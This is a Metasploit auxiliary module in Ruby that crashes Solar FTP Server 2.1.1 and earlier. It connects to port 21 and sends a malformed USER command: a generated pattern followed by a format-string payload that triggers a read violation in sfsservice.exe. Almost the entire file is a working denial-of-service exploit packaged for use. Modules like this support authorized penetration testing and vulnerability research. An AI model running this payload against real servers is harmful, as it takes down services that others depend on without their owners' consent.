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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Solar FTP Server Malformed USER Denial of Service',
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        'Description' => %q{
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          This module will send a format string as USER to Solar FTP, causing a
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          READ violation in function "__output_1()" found in "sfsservice.exe"
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          while trying to calculate the length of the string. This vulnerability
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          affects versions 2.1.1 and earlier.
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        },
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        'Author' => [
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          'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit
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          'C4SS!0 G0M3S <Louredo_[at]hotmail.com>',  # Metasploit submission
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          'sinn3r',                                  # Metasploit edit/commit
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'EDB', '16204' ],
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        ],
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        'DisclosureDate' => '2011-02-22',
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(21)
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      ]
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    )
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  end
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  def run
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    connect
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    banner = sock.get_once(-1, 10) || ''
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    print_status("Banner: #{banner.strip}")
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    buf = Rex::Text.pattern_create(50)
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    buf << '%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n'
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    print_status('Sending format string...')
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    sock.put("USER #{buf}\r\n")
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    disconnect
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  end
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end
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